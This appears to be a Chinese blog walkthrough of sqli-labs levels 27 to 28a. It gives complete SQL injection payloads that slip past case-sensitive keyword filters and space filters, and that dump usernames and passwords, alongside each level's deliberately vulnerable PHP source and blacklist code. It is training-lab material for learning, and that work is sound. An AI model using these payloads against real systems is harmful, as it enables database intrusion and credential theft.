zoukankan      html  css  js  c++  java
  • sqli-labs 通关指南:Less 27、28

    Less 27 和 Less 28 都涉及到了对 “SELECT” 和 “UNION” 的过滤,根据情况我们可以采用大小写过滤或者用其他编码打乱过滤的句式。

    Less 27

    GET-Error Based-All your UNION & SELECT belong to us(基于错误的过滤了 union 和 select 的注入)

    判断注入类型

    注入正常的参数,网页返回对应 id 的正常信息。单引号没有被过滤,使用两个单引号分别闭合前后的引号。网页回显正常的内容,说明该网页存在单引号闭合的字符型注入。

    ?id=1''
    


    测试以下所有的参数,这次 “OR”、“AND” 没被过滤,不过所有的注释符和空格还是被过滤了。

    ?id=1'#
    ?id=1'/*
    ?id=1'/
    ?id=1'
    

    获取数据库信息

    此处可以使用 updatexml() 报错注入,也可以使用 URL 编码来代替空格后用 UNION 注入。判断有几列可用,别忘了 “ORDER” 中的 “or” 被过滤掉了。

    ?id=1'%a0ORDER%a0BY%a03||'1'='1
    


    判断回显位置,注意该注入返回了错误信息。从提示可以看到,“SELECT” 和 “UNION” 统统被过滤了。

    ?id=9999'%a0UNION%a0SELECT%a01,2,3%a0or%a0'1'='1
    


    可以使用大小写绕过来绕过过滤机制,也就是使用的 “SELECT” 和 “UNION” 是大小写混杂的。

    ?id=9999'%a0UNiON%a0SElECT%a01,2,3%a0or%a0'1'='1
    


    爆数据库名。

    ?id=9999'%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0'1'='1
    


    爆表名。

    ?id=9999'%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0'1'='2
    


    爆字段名。

    ?id=9999'%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0'1'='2
    

    获取目标信息

    获取所有用户名和对应的密码。

    ?id=9999'%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0'1
    

    关卡源码

    SQL 查询语句

    //fiddling with comments
    $id = blacklist($id);
    //echo "<br>";
    //echo $id;
    //echo "<br>";
    $hint = $id;
    
    // connectivity 
    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";	
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
    }
    else 
    {
          echo '<font color= "#FFFF00">';
          print_r(mysql_error());
          echo "</font>";  
    }
    

    过滤函数

    可以看到 “UNION” 和 “SELECT” 都被过滤了,不过过滤是区分大小写的,所以使用大小写绕过可行。

    function blacklist($id)
    {
          $id= preg_replace('/[/*]/',"", $id);		//strip out /*
          $id= preg_replace('/[--]/',"", $id);		//Strip out --.
          $id= preg_replace('/[#]/',"", $id);			//Strip out #.
          $id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
          $id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
          $id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
          $id= preg_replace('/union/s',"", $id);	    //Strip out union
          $id= preg_replace('/select/s',"", $id);	    //Strip out select
          $id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
          $id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
          $id= preg_replace('/Union/s',"", $id);	    //Strip out Union
          $id= preg_replace('/Select/s',"", $id);	    //Strip out select
          return $id;
    }
    

    Less 27a

    GET-Blind Based All your UNION & SELECT belong to us(基于盲注的过滤了 union 和 select 的注入)

    判断注入类型

    注入正常的参数,网页返回对应 id 的正常信息。单引号没有被过滤,无论使用几个单引号闭合网页回显正常的内容,说明不是用单引号闭合。

    ?id=1'
    


    注入双引号,网页无任何回显。

    ?id=1"
    


    注入两个双引号闭合,网页回显正常信息,说明此处存在双引号闭合的字符型盲注。

    ?id=1""
    

    获取数据库信息

    除了闭合的符号不同,其他的和 Less 27 一样。判断有几列可用。

    ?id=1"%a0ORDER%a0BY%a03or%a0"1"="1
    


    判断回显位置。

    ?id=9999"%a0UNiON%a0SElECT%a01,2,3%a0or%a0"1"="1
    


    爆数据库名。

    ?id=9999"%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0"1"="1
    


    爆表名。

    ?id=9999"%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0"1"="2
    


    爆字段名。

    ?id=9999"%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0"1"="2
    

    获取目标信息

    获取所有用户名和对应的密码。

    ?id=9999"%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0"1
    

    关卡 SQL 查询语句

    //fiddling with comments
    $id = blacklist($id);
    //echo "<br>";
    //echo $id;
    //echo "<br>";
    $hint = $id;
    $id = '"' .$id. '"';
    
    // connectivity 
    $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";	
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
    }
    else 
    {
          echo '<font color= "#FFFF00">';
          //print_r(mysql_error());
          echo "</font>";  
    }
    

    Less 28

    GET-Error Based-All your UNION & SELECT belong to us String-Single quote with parenthesis(基于错误的有括号的单引号过滤了 union 和 select 等字符型注入)

    判断注入类型

    注入正常的参数,网页返回对应 id 的正常信息。单引号没有被过滤,使用两个单引号闭合返回正常的信息。

    ?id=1''
    


    进一步测试闭合类型,使用单引号和括号闭合回显正常的信息,说明网页是使用单引号和括号进行闭合。

    ?id=1') OR ('1
    

    获取数据库信息

    除了闭合的符号不同,其他的和 Less 27 一样。判断有几列可用。

    ?id=1')%a0ORDER%a0BY%a03%a0or%a0('1')=('1
    


    判断回显位置。

    ?id=9999')%a0UNiON%a0SElECT%a01,2,3%a0or%a0('1')=('1
    


    爆数据库名。

    ?id=9999')%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0('1')=('1
    


    爆表名。

    ?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0('1')=('2
    


    爆字段名。

    ?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0('1')=('2
    

    获取目标信息

    获取所有用户名和对应的密码。

    ?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0('1
    

    关卡源码

    关卡 SQL 查询语句

    //fiddling with comments
    $id = blacklist($id);
    //echo "<br>";
    //echo $id;
    //echo "<br>";
    $hint = $id;
    
    // connectivity 
    $sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";	
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
    }
    else 
    {
          echo '<font color= "#FFFF00">';
          //print_r(mysql_error());
          echo "</font>";  
    }
    

    过滤函数

    过滤了 “union select” 的句式,因此此处大小写绕过没有用,而是需要用 URL 编码代替空格。

    function blacklist($id)
    {
          $id = preg_replace('/[/*]/',"", $id);				//strip out /*
          $id = preg_replace('/[--]/',"", $id);				//Strip out --.
          $id = preg_replace('/[#]/',"", $id);					//Strip out #.
          $id = preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
          //$id = preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
          $id = preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
          $id = preg_replace('/unions+select/i',"", $id);	    //Strip out UNION & SELECT.
          return $id;
    }
    

    Less 28a

    GET-Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于盲注的有括号的单引号过滤了 union 和 select 等字符型注入)

    判断注入类型

    注入正常的参数,网页返回对应 id 的正常信息。单引号没有被过滤,使用一个单引号闭合无回显。

    ?id=1'
    


    使用两个单引号闭合回显正常,说明此处存在单引号闭合的盲注。

    ?id=1''
    


    进一步测试闭合类型,使用单引号和括号闭合回显正常的信息,说明网页是使用单引号和括号进行闭合。

    ?id=1') OR ('1
    

    获取数据库信息

    注入过程和 Less 28 完全一样。判断有几列可用。

    ?id=1')%a0ORDER%a0BY%a03%a0or%a0('1')=('1
    


    判断回显位置。

    ?id=9999')%a0UNiON%a0SElECT%a01,2,3%a0or%a0('1')=('1
    


    爆数据库名。

    ?id=9999')%a0UNiON%a0SELeCT%a01,database(),3%a0or%a0('1')=('1
    


    爆表名。

    ?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(table_name),3%a0FROM%a0information_schema.tables%a0WHERE%a0table_schema = 'security'%a0or%a0('1')=('2
    


    爆字段名。

    ?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(column_name),3%a0FROM%a0information_schema.columns%a0WHERE%a0table_schema='security'%a0AND%a0table_name='users'%a0or%a0('1')=('2
    

    获取目标信息

    获取所有用户名和对应的密码。

    ?id=9999')%a0UNiON%a0SELeCT%a01,group_concat(concat_ws(":",username,password)),3%a0FROM%a0users%a0WHERE%a0('1
    

    关卡 SQL 查询语句

    //fiddling with comments
    $id = blacklist($id);
    //echo "<br>";
    //echo $id;
    //echo "<br>";
    $hint = $id;
    
    // connectivity 
    $sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";	
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
    }
    else 
    {
          echo '<font color= "#FFFF00">';
          //print_r(mysql_error());
          echo "</font>";  
    }
    
  • 相关阅读:
    [网络流24题] 深海机器人问题
    [网络流24题] 数字梯形问题
    处理银行卡号的格式
    每天十点的倒计时
    HTML meta标签总结与属性使用介绍
    禁止的一些操作
    input输入大于0的小数和整数
    cf 1037D BFS
    cf 1051F 树+图
    cf 911F 树的直径+贪心
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13943242.html
Copyright © 2011-2022 走看看